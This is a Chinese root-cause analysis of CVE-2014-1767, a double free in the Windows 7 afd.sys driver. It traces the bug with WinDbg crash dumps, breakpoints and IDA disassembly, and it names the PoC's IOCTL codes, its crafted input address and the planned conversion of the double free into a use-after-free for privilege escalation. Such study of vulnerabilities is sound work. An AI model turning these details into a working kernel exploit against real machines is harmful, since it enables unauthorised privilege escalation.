CVE-2014-1767 分析报告

admin 2023年3月27日07:56:18评论13 views字数 47698阅读158分59秒阅读模式

CVE-2014-1767 分析报告

本文为看雪论坛优秀文章

看雪论坛作者ID:Hacksign

本文首发于 https://www.debugwar.com/article/NLE-Analyze-CVE-2014-1767, 授权转载到看雪论坛,其他转载请注明出处。




简介


该漏洞为Pwn2014上Siberas团队公布的提权漏洞,此漏洞出现在AFD.sys文件中,POC将以DoubleFree的形式触发漏洞,利用思路是通过将DoubleFree漏洞转换为UAF来构造Exploit。

本文的调试环境为Windows 7 SP1 x86,通过双虚拟机双机调试。这和参考1中漏洞发现者的环境不同, 因此有些细节也不一样(例如漏洞发现者PDF中提到的内存为NonPagedPoolNx, 而我们的是NonPagePool)。


本漏洞成因简单、利用思路也非常经典, 因此极为适合新手作为漏洞学习的入门洞。




漏洞触发


漏洞触发现场


漏洞触发现场如下:

******************************************************************************* *                                                                             * *                        Bugcheck Analysis                                    * *                                                                             * *******************************************************************************  BAD_POOL_CALLER (c2) The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc. Arguments: Arg1: 00000007, Attempt to free pool which was already freed Arg2: 00001097, Pool tag value from the pool header Arg3: 08b50005, Contents of the first 4 bytes of the pool header Arg4: 8757da60, Address of the block of pool being deallocated  Debugging Details: ------------------  KEY_VALUES_STRING: 1      Key  : Analysis.CPU.mSec     Value: 5140      Key  : Analysis.DebugAnalysisManager     Value: Create      Key  : Analysis.Elapsed.mSec     Value: 17640      Key  : Analysis.Init.CPU.mSec     Value: 3765      Key  : Analysis.Init.Elapsed.mSec     Value: 107564      Key  : Analysis.Memory.CommitPeak.Mb     Value: 69      Key  : WER.OS.Branch     Value: win7sp1_rtm      Key  : WER.OS.Timestamp     Value: 2010-11-19T18:50:00Z      Key  : WER.OS.Version     Value: 7.1.7601.17514   BUGCHECK_CODE:  c2  BUGCHECK_P1: 7  BUGCHECK_P2: 1097  BUGCHECK_P3: 8b50005  BUGCHECK_P4: ffffffff8757da60  POOL_ADDRESS:  8757da60 Nonpaged pool  FREED_POOL_TAG:  Mdl_  PROCESS_NAME:  CVE-2014-1767.exe  STACK_TEXT:   80f6454c 83ce6589     00000003 610826c5 00000065 nt!RtlpBreakWithStatusInstruction 80f6459c 83ce7085     00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c 80f64960 83d2cc4e     000000c2 00000007 00001097 nt!KeBugCheck2+0x68b 80f649d8 83c8276a     8757da60 00000000 89136350 nt!ExFreePoolWithTag+0x1b2 80f649ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl+0x70 80f64a08 8e3898ac     00000000 00000001 0ec1bfa8 afd!AfdReturnTpInfo+0xad 80f64a44 8e38abba     0ec1bf00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89 80f64aec 8e38f2bc     89067880 87610030 80f64b14 afd!AfdTransmitPackets+0x12e 80f64afc 83c43047     87610030 890a8ee0 890a8ee0 afd!AfdDispatchDeviceControl+0x3b 80f64b14 83e199d5     89067880 890a8ee0 890a8fbc nt!IofCallDriver+0x63 80f64b34 83e1bdc8     87610030 89067880 00000000 nt!IopSynchronousServiceTail+0x1f8 80f64bd0 83e22d9d     87610030 890a8ee0 00000000 nt!IopXxxControlFile+0x6aa 80f64c04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a     <Intermediate frames may have been skipped due to lack of complete unwind> 80f64c04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a     <Intermediate frames may have been skipped due to lack of complete unwind> 002cf478 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 002cf47c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 002cf4dc 75d2a671     00000050 000120c3 01326200 KERNELBASE!DeviceIoControl+0xf6 002cf508 013217be     00000050 000120c3 01326200 kernel32!DeviceIoControlImplementation+0x80 WARNING: Stack unwind information not available. Following frames may be wrong. 002cf6f8 01321396     00000012 000c0ffc 000c0fec CVE_2014_1767+0x17be 002cf798 75d33c45     00000000 75d33c45 7ffd9000 CVE_2014_1767+0x1396 002cf7ac 778937f5     7ffd9000 77be9209 00000000 kernel32!BaseThreadInitThunk+0xe 002cf7ec 778937c8     013214c0 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 002cf804 00000000     013214c0 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b   SYMBOL_NAME:  afd!AfdReturnTpInfo+ad  MODULE_NAME: afd  IMAGE_NAME:  afd.sys  STACK_COMMAND:  .thread ; .cxr ; kb  FAILURE_BUCKET_ID:  0xc2_7_Mdl__afd!AfdReturnTpInfo+ad  OS_VERSION:  7.1.7601.17514  BUILDLAB_STR:  win7sp1_rtm  OSPLATFORM_TYPE:  x86  OSNAME:  Windows 7  FAILURE_ID_HASH:  {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef}  Followup:     MachineOwner ---------


由上述第69行可知,为IoFreeMdl在释放8757da60时出现Double Free错误导致。到这里,很自然会产生如下几个疑问:

为什么会DoubleFree?<--- 终极问题
8757da60这个MDL是在哪里分配的?
第一次是在哪里释放的?
第二次是在哪里释放的?

其中,第四个问题可以立刻解答,因为当前现场即是第二次释放现场。

为了解答上面的第一个终极问题,我们要先搞清楚问题2、3。

寻找内存分配时机


(注意:由于该漏洞属于内核级漏洞,因此调试过程中需要不停重启,因此下文中截图涉及内存地址的地方会有差异。)


既然是寻找Mdl的内存分配,首先看一眼IoAllocateMdl的调用交叉引用:

CVE-2014-1767 分析报告

Emmm……打消了一个一个找的念头。

然后想利用条件断点在IoAllocateMdl返回8757da60这个地址时下断,发现一旦下了断点,这个地址会发生改变——似乎进入死胡同了(后来发现其实多断几次总是能断到的)。

这里网上大部分的分析文章都是从POC的两次DeviceIOControl着手分析。本文本着自虐的原则,笔者会假设我们并不知道POC的内容是什么,这次BugCheck只是漏洞挖掘的Fuzz环境中发现的一次内核级异常,我们将尽量尝试贴近真实的漏洞挖掘环境。

首先上IDA看一下出现异常的现场上下文是怎样的(注意,下图中已经加载了符号分析得到的数据结构):

CVE-2014-1767 分析报告

有的朋友可能好奇这些数据结构是如何分析得到的,在这里笔者只能告诉大家,通过对:AfdReturnTpInfo、AfdTransmitFile、AfdTliGetTpInfo可以得到如下关键结构:

struct struc_UnkObj {   NTSTATUS Status;   int Length;   PVOID VirtualAddress;   PMDL MdlAddress;   PFILE_OBJECT Object;   int field_14; };  struct struc_TPInfo {   PIRP field_0;   int field_4;   int field_8;   int field_C;   int field_10;   int field_14;   int field_18;   PIRP Irp3;   struc_UnkObj *UnkObjArray;   int field_24;   int UnkCounter;   int field_2C;   int IrpCounter;   int field_34;   int AfdTransmitIoLength;   int field_3C;   int field_40;   int field_44;   int field_48;   int field_4C;   int field_50;   int field_54;   int field_58;   int field_5C;   int field_60;   int field_64;   int field_68;   int field_6C;   PIRP Irp;   PIRP Irp2;   int field_78;   int field_7C;   int field_80;   int field_84;   int field_88;   int field_8C;   int field_90;   int field_94; };


然后看一眼出问题的struc_UnkObj->MdlAddress的交叉引用:

CVE-2014-1767 分析报告

发现对MdlAddress成员的写操作,均在AfdTransmitFile函数中,然后在调试器中对几次MdlAddress赋值的地方下断点,中断后情况如下:

CVE-2014-1767 分析报告

此时看一下eax的值(8757da60),发现和本文一开始异常发生时,IoFreeMdl尝试释放的值一致。说明我们找对分配内存的地方了:

CVE-2014-1767 分析报告

其实简单一点来说就是,struc_TPInfo(v6和v7)由下图92行的AlfTliGetIpInfo构造并初始化、struc_TPInfo->struc_UnkObj(v50和v11)的MdlAddress成员由下图122行分配。

CVE-2014-1767 分析报告

特别强调,由于内存通过上图92行的AfdTliGetTpInfo分配struc_TPInfo结构后,继续由122行的IoAllocateMdl分配了一个初始化的MDL内存,因此第一次IoFreeMdl释放这块内存时是不会蓝屏的(详见下一节分析)。


寻找第一次释放时机


OK,既然目前内存何时分配已经清楚了,那我们来看一下这块内存第一次是何时释放的。


在WinDbg中下如下断点:

bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"


注意,这里有一个坑, 由于笔者是用64位WindDBG调试32位系统, 上面断点的值是64位的, 实测使用32位的值无法中断。

中断在如下地址:

kd> r eax=8757da60 ebx=8913b7b8 ecx=00000000 edx=00000000 esi=89107410 edi=89107380 eip=8e38a48e esp=80e5ca48 ebp=80e5caec iopl=0         nv up ei pl zr na pe nc cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246 afd!AfdTransmitFile+0x170: 8e38a48e 89460c          mov     dword ptr [esi+0Ch],eax ds:0023:8910741c=ffffffff kd> bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}" kd> bl      0 e Disable Clear  83c826fa     0001 (0001) nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"  kd> g nt!IoFreeMdl: 83c826fa 8bff            mov     edi,edi kd> kb  # ChildEBP RetAddr      Args to Child               00 80e5ca1c 8e3a6eb0     8757da60 00000000 8e38a840 nt!IoFreeMdl 01 80e5ca38 8e38a8c1     00000000 00000001 0ed23f00 afd!AfdReturnTpInfo+0xad 02 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitFile+0x5a3 03 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b 04 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63 05 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8 06 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa 07 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a     <Intermediate frames may have been skipped due to lack of complete unwind> 08 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a     <Intermediate frames may have been skipped due to lack of complete unwind> 09 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 0a 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 0b 0051f4fc 75d2a671     00000050 0001207f 00156060 KERNELBASE!DeviceIoControl+0xf6  // 此时control code为0x1207f0c 0051f528 00151774     00000050 0001207f 00156060 kernel32!DeviceIoControlImplementation+0x80 WARNING: Stack unwind information not available. Following frames may be wrong. 0d 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x1774 0e 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396 0f 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe 10 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70 11 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


发现调用路径是:

AfdTransmitFile -> AfdReturnTpInfo -> IoFreeMdl


顺着调用链继续追踪:

PAGE:0002C840 loc_2C840:                              ; DATA XREF: .rdata:stru_20A38↑o PAGE:0002C840 ;   __except(loc_2C833) // owned by 2C376 PAGE:0002C840                 mov     esp, [ebp+ms_exc.old_esp] PAGE:0002C843                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh PAGE:0002C84A                 mov     ebx, [ebp+var_38] PAGE:0002C84D PAGE:0002C84D loc_2C84D:                              ; CODE XREF: AfdTransmitFile(x,x)+3E↑j PAGE:0002C84D                                         ; AfdTransmitFile(x,x)+50↑j ... PAGE:0002C84D                 cmp     [ebp+var_19], 0 PAGE:0002C851                 jz      short loc_2C8A4 PAGE:0002C853                 mov     ecx, [ebp+var_30] PAGE:0002C856                 xor     eax, eax PAGE:0002C858                 inc     eax PAGE:0002C859                 cmp     [ecx+4], eax PAGE:0002C85C                 jb      short loc_2C8A4 PAGE:0002C85E                 cmp     byte ptr [ebx+20h], 0 PAGE:0002C862                 jz      short loc_2C89E ……………… PAGE:0002C8A4 loc_2C8A4:                              ; CODE XREF: AfdTransmitFile(x,x)+533↑j PAGE:0002C8A4                                         ; AfdTransmitFile(x,x)+53E↑j ... PAGE:0002C8A4                 cmp     [ebp+TPInfo], 0 PAGE:0002C8A8                 jz      short loc_2C8C1 PAGE:0002C8AA                 mov     eax, [ebp+var_34] PAGE:0002C8AD                 mov     eax, [eax+8] PAGE:0002C8B0                 shr     eax, 9 PAGE:0002C8B3                 and     al, 1 PAGE:0002C8B5                 movzx   eax, al PAGE:0002C8B8                 push    eax             ; IsFreeMemory PAGE:0002C8B9                 push    [ebp+TPInfo]    ; Entry PAGE:0002C8BC                 call    _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x) PAGE:0002C8C1 PAGE:0002C8C1 loc_2C8C1:                              ; CODE XREF: AfdTransmitFile(x,x)+58A↑j PAGE:0002C8C1                 and     dword ptr [ebx+1Ch], 0 PAGE:0002C8C5                 mov     eax, [ebp+var_20] PAGE:0002C8C8                 mov     [ebx+18h], eax PAGE:0002C8CB                 xor     dl, dl          ; PriorityBoost PAGE:0002C8CD                 mov     ecx, ebx        ; Irp PAGE:0002C8CF                 call    ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x) PAGE:0002C8D5                 mov     eax, [ebp+var_20] PAGE:0002C8D8 PAGE:0002C8D8 loc_2C8D8:                              ; CODE XREF: AfdTransmitFile(x,x)+4F1↑j PAGE:0002C8D8                 call    __SEH_epilog4 PAGE:0002C8DD                 retn


发现上面这一片是异常处理代码,其try块位于 2C376 处, 而这个try块恰好包含我们上面跟踪到的分配Mdl内存的代码:

PAGE:0002C376 ;   __try { // __except at loc_2C840 PAGE:0002C376                 mov     [ebp+ms_exc.registration.TryLevel], ecx PAGE:0002C379                 cmp     byte ptr [ebx+20h], 0 …………………… PAGE:0002C44B PAGE:0002C44B loc_2C44B:                              ; CODE XREF: AfdTransmitFile(x,x)+127↑j PAGE:0002C44B                 mov     edx, [ebp+FileInformation.Length] PAGE:0002C44E                 test    edx, edx        ; Lengt != 0 PAGE:0002C450                 jbe     short loc_2C4A3 ; no jmp PAGE:0002C452                 mov     ecx, [ebp+var_28] PAGE:0002C455                 mov     eax, [ecx] PAGE:0002C457                 mov     esi, eax PAGE:0002C459                 imul    esi, 18h PAGE:0002C45C                 add     esi, [edi+20h] PAGE:0002C45F                 mov     [ebp+var_2C], esi PAGE:0002C462                 inc     eax PAGE:0002C463                 mov     [ecx], eax PAGE:0002C465                 mov     eax, [ebp+FileInformation.VirtualAddress] PAGE:0002C468                 mov     [esi+8], eax PAGE:0002C46B                 mov     [esi+4], edx PAGE:0002C46E                 mov     dword ptr [esi], 1 PAGE:0002C474                 test    byte ptr [ebp+FileInformation.field_28], 10h PAGE:0002C478                 jz      short loc_2C4A3 PAGE:0002C47A                 mov     dword ptr [esi], 80000001h PAGE:0002C480                 push    0               ; Irp PAGE:0002C482                 push    1               ; ChargeQuota PAGE:0002C484                 push    0               ; SecondaryBuffer PAGE:0002C486                 push    edx             ; Length PAGE:0002C487                 push    eax             ; VirtualAddress PAGE:0002C488                 call    ds:__imp__IoAllocateMdl@20 ; IoAllocateMdl(x,x,x,x,x)  // 此处地址即为 `寻找内存分配时机` 一节中分析得到的内存分配点(参考上文)PAGE:0002C48E                 mov     [esi+0Ch], eax PAGE:0002C491                 test    eax, eax PAGE:0002C493                 jz      short loc_2C417 PAGE:0002C495                 push    0               ; Operation PAGE:0002C497                 movzx   ecx, byte ptr [ebx+20h] PAGE:0002C49B                 push    ecx             ; AccessMode PAGE:0002C49C                 push    eax             ; MemoryDescriptorList PAGE:0002C49D                 call    ds:__imp__MmProbeAndLockPages@12 ; MmProbeAndLockPages(x,x,x)  <--- 此处触发异常,控制权交给异常处理代码 PAGE:0002C4A3 …………………… PAGE:0002C670                 mov     eax, [ebp+FileInformation.field_28] PAGE:0002C673                 mov     [ebx+44h], eax PAGE:0002C673 ;   } // starts at 2C376


让我们来看一下上面30行地址的调试器现场:

CVE-2014-1767 分析报告

结合IoAllocateMdl函数原型:

PMDL IoAllocateMdl(   [in, optional]      __drv_aliasesMem PVOID VirtualAddress,   [in]                ULONG                  Length,   [in]                BOOLEAN                SecondaryBuffer,   [in]                BOOLEAN                ChargeQuota,   [in, out, optional] PIRP                   Irp );

可知,此时程序正在尝试从0x13371337地址处分配一块0x0015fcd9大小的内存。而上图中8e38a49d地址处的call MmPorbeAndLockPages则尝试锁定刚刚分配的这块Mdl内存。

由于MDL中的内存地址是(我们控制,见下文分析)非法地址(0x13371337),从而导致MmProbeAndLockPage抛出异常,代码控制权转移到了异常控制块,从而需要依次调用:

AfdReturnTpInfo -> IoFreeMdl


也就是我们上面发现的异常调用链,至此第一次释放的原因已经分析清楚。

这时,需要注意一点:程序在调用IoFreeMdl之后,并没有将Mdl的指针设置为NULL,这里造成了悬挂指针的问题:

CVE-2014-1767 分析报告


上图中,Entry为struc_TPInfo结构,由于这里并没有将struc_TPInfo->UnkObjArray的各个元素以及这个数组的各个子元素置NULL,当AfdReturnTpInfo最后释放Entry后,如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存,这里即产生了悬挂指针的问题。


包袱1


这里笔者留个包袱,这个包袱将关联后文的构造POC一节。

通过分析释放时机可知,导致第一次内存释放的调用链:

CVE_2014_1767-> nt!DeviceIoControl -> afd!DispatchDeviceControl -> afd!AfdTransmitFile

通过回溯DeviceIoControl调用栈里面的信息,可知如下几个调用参数:

控制码(ControlCode):0x1207f输入缓冲区地址:0x132606输入缓冲区长度:0x30

如下图:

CVE-2014-1767 分析报告

(如果现在对比POC中填充的inbuf1,就可以看到上图中0x1326060+6*0x4位置处开始即为POC代码填充的数据了,此时可见上文中提到的非法地址:0x13371337)


寻找第二次内存释放时机

上一节结尾提到

“如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存”

而通过“寻找内存分配时机”一节可知,AfdTliGetTpInfo负责分配一个struc_TPInfo结构。


那么AfdTliGetTpInfo函数有几次调用呢?看下图:

CVE-2014-1767 分析报告

可见AfdTransmitPackets函数还会调用一次这个函数, 这也是本节我们将要分析的点。


我们继续在windbg中执行g命令让程序继续跑:

kd> g nt!IoFreeMdl: 83c826fa 8bff            mov     edi,edi kd> kb  # ChildEBP RetAddr      Args to Child               00 80e5c9ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl 01 80e5ca08 8e3898ac     00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad 02 80e5ca44 8e38abba     0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89 03 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e 04 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b 05 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63 06 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8 07 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa 08 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a     <Intermediate frames may have been skipped due to lack of complete unwind> 09 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a     <Intermediate frames may have been skipped due to lack of complete unwind> 0a 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 0b 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 0c 0051f4fc 75d2a671     00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6 0d 0051f528 001517be     00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80 WARNING: Stack unwind information not available. Following frames may be wrong. 0e 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x17be 0f 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396 10 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe 11 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70 12 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b kd> g  // 此处如果再g一次,便可以得到本文一开始的BSOD现场 *** Fatal System Error: 0x000000c2                        (0x00000007,0x00001097,0x08B50005,0x8757DA60)  Break instruction exception - code 80000003 (first chance)  A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked.  A fatal system error has occurred.  For analysis of this file, run !analyze -v nt!RtlpBreakWithStatusInstruction: 83c6cd00 cc              int     3 kd> !analyze -v  // 通过下文的堆栈分析可以发现现场和本文一开始一致Connected to Windows 7 7601 x86 compatible target at (Tue Mar 22 14:02:00.608 2022 (UTC + 8:00)), ptr64 FALSE Loading Kernel Symbols ............................................................... ................................................................ .  Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long. Run !sym noisy before .reload to track down problems loading symbols.  ......... Loading User Symbols ................ Loading unloaded module list ............... ******************************************************************************* *                                                                             * *                        Bugcheck Analysis                                    * *                                                                             * *******************************************************************************  BAD_POOL_CALLER (c2) The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc. Arguments: Arg1: 00000007, Attempt to free pool which was already freed Arg2: 00001097, Pool tag value from the pool header Arg3: 08b50005, Contents of the first 4 bytes of the pool header Arg4: 8757da60, Address of the block of pool being deallocated  Debugging Details: ------------------  ************************************************************************* ***                                                                   *** ***                                                                   *** ***    Either you specified an unqualified symbol, or your debugger   *** ***    doesn't have full symbol information.  Unqualified symbol      *** ***    resolution is turned off by default. Please either specify a   *** ***    fully qualified symbol module!symbolname, or enable resolution *** ***    of unqualified symbols by typing ".symopt- 100". Note that     *** ***    enabling unqualified symbol resolution with network symbol     *** ***    server shares in the symbol path may cause the debugger to     *** ***    appear to hang for long periods of time when an incorrect      *** ***    symbol name is typed or the network symbol server is down.     *** ***                                                                   *** ***    For some commands to work properly, your symbol path           *** ***    must point to .pdb files that have full type information.      *** ***                                                                   *** ***    Certain .pdb files (such as the public OS symbols) do not      *** ***    contain the required information.  Contact the group that      *** ***    provided you with these symbols if you need this command to    *** ***    work.                                                          *** ***                                                                   *** ***    Type referenced: kernel32!gpServerNlsUserInfo                  *** ***                                                                   *** *************************************************************************  KEY_VALUES_STRING: 1      Key  : Analysis.CPU.mSec     Value: 5296      Key  : Analysis.DebugAnalysisManager     Value: Create      Key  : Analysis.Elapsed.mSec     Value: 12813      Key  : Analysis.Init.CPU.mSec     Value: 7218      Key  : Analysis.Init.Elapsed.mSec     Value: 127788      Key  : Analysis.Memory.CommitPeak.Mb     Value: 147      Key  : WER.OS.Branch     Value: win7sp1_rtm      Key  : WER.OS.Timestamp     Value: 2010-11-19T18:50:00Z      Key  : WER.OS.Version     Value: 7.1.7601.17514   BUGCHECK_CODE:  c2  BUGCHECK_P1: 7  BUGCHECK_P2: 1097  BUGCHECK_P3: 8b50005  BUGCHECK_P4: ffffffff8757da60  POOL_ADDRESS:  8757da60 Nonpaged pool  FREED_POOL_TAG:  Mdl_  PROCESS_NAME:  CVE-2014-1767.exe  STACK_TEXT:   80e5c54c 83ce6589     00000003 611ba6c5 00000065 nt!RtlpBreakWithStatusInstruction 80e5c59c 83ce7085     00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c 80e5c960 83d2cc4e     000000c2 00000007 00001097 nt!KeBugCheck2+0x68b 80e5c9d8 83c8276a     8757da60 00000000 89107380 nt!ExFreePoolWithTag+0x1b2 80e5c9ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl+0x70 80e5ca08 8e3898ac     00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad 80e5ca44 8e38abba     0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a     <Intermediate frames may have been skipped due to lack of complete unwind> 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a     <Intermediate frames may have been skipped due to lack of complete unwind> 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 0051f4fc 75d2a671     00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6  //此时control code为0x120c30051f528 001517be     00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80 WARNING: Stack unwind information not available. Following frames may be wrong. 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x17be 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b   SYMBOL_NAME:  afd!AfdReturnTpInfo+ad  MODULE_NAME: afd  IMAGE_NAME:  afd.sys  STACK_COMMAND:  .thread ; .cxr ; kb  FAILURE_BUCKET_ID:  0xc2_7_Mdl__afd!AfdReturnTpInfo+ad  OS_VERSION:  7.1.7601.17514  BUILDLAB_STR:  win7sp1_rtm  OSPLATFORM_TYPE:  x86  OSNAME:  Windows 7  FAILURE_ID_HASH:  {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef}  Followup:     MachineOwner ---------


可以看到,第二次释放的调用链为:

AfdTransmitPackets -> AfdTliGetTpInfo -> AfdReturnTpInfo -> IoFreeMdl


此时我们如果再g一下,就会得到本文一开始一模一样的异常现场。

通过上面的调用链可以知道,第二次释放也是通过AfdReturnTpInfo最终触发的IoFreeMdl, 但是本次调用链上多了一个函数调用,即AfdTliGetTpInfo,让我们先看一下本函数的反汇编代码:

PAGE:0002B823 ; struc_TPInfo *__fastcall AfdTliGetTpInfo(unsigned int a1) PAGE:0002B823 @AfdTliGetTpInfo@4 proc near            ; CODE XREF: AfdTransmitFile(x,x)+E4↓p PAGE:0002B823                                         ; AfdTransmitPackets(x,x)+129↓p PAGE:0002B823 PAGE:0002B823 Entry           = dword ptr -1Ch PAGE:0002B823 ms_exc          = CPPEH_RECORD ptr -18h PAGE:0002B823 PAGE:0002B823 ; __unwind { // __SEH_prolog4 PAGE:0002B823                 push    0Ch PAGE:0002B825                 push    offset stru_20998 PAGE:0002B82A                 call    __SEH_prolog4 PAGE:0002B82F                 mov     edi, ecx PAGE:0002B831                 mov     eax, _AfdGlobalData PAGE:0002B836                 add     eax, 178h PAGE:0002B83B                 push    eax             ; Lookaside PAGE:0002B83C                 call    _ExAllocateFromNPagedLookasideList@4 ; ExAllocateFromNPagedLookasideList(x) PAGE:0002B841                 mov     esi, eax PAGE:0002B843                 mov     [ebp+Entry], esi PAGE:0002B846                 xor     ecx, ecx PAGE:0002B848                 cmp     esi, ecx PAGE:0002B84A                 jnz     short loc_2B850 PAGE:0002B84C                 xor     eax, eax PAGE:0002B84E                 jmp     short loc_2B8B7 PAGE:0002B850 ; --------------------------------------------------------------------------- PAGE:0002B850 PAGE:0002B850 loc_2B850:                              ; CODE XREF: AfdTliGetTpInfo(x)+27↑j PAGE:0002B850                 mov     [esi+8], ecx PAGE:0002B853                 lea     eax, [esi+0Ch] PAGE:0002B856                 mov     [eax], ecx PAGE:0002B858                 mov     [esi+10h], eax PAGE:0002B85B                 lea     eax, [esi+14h] PAGE:0002B85E                 mov     [eax], ecx PAGE:0002B860                 mov     [esi+18h], eax PAGE:0002B863                 mov     [esi+34h], ecx PAGE:0002B866                 mov     [esi+33h], cl PAGE:0002B869                 mov     [esi+24h], ecx PAGE:0002B86C                 or      dword ptr [esi+2Ch], 0FFFFFFFFh PAGE:0002B870                 mov     [esi+3Ch], ecx PAGE:0002B873                 mov     [esi+4], ecx PAGE:0002B876                 cmp     edi, _AfdDefaultTpInfoElementCount PAGE:0002B87C                 jbe     short loc_2B8B5 PAGE:0002B87E ;   __try { // __except at loc_2B89F PAGE:0002B87E                 mov     [ebp+ms_exc.registration.TryLevel], ecx PAGE:0002B881                 push    0C6646641h      ; Tag PAGE:0002B886                 imul    edi, 18h PAGE:0002B889                 push    edi             ; NumberOfBytes PAGE:0002B88A                 push    10h             ; PoolType PAGE:0002B88C                 call    ds:__imp__ExAllocatePoolWithQuotaTag@12 ; ExAllocatePoolWithQuotaTag(x,x,x) PAGE:0002B892                 mov     [esi+20h], eax PAGE:0002B895                 mov     byte ptr [esi+32h], 1 PAGE:0002B899                 jmp     short loc_2B8AE PAGE:0002B89B ; --------------------------------------------------------------------------- PAGE:0002B89B PAGE:0002B89B loc_2B89B:                              ; DATA XREF: .rdata:stru_20998↑o PAGE:0002B89B ;   __except filter // owned by 2B87E PAGE:0002B89B                 xor     eax, eax PAGE:0002B89D                 inc     eax PAGE:0002B89E                 retn PAGE:0002B89F ; 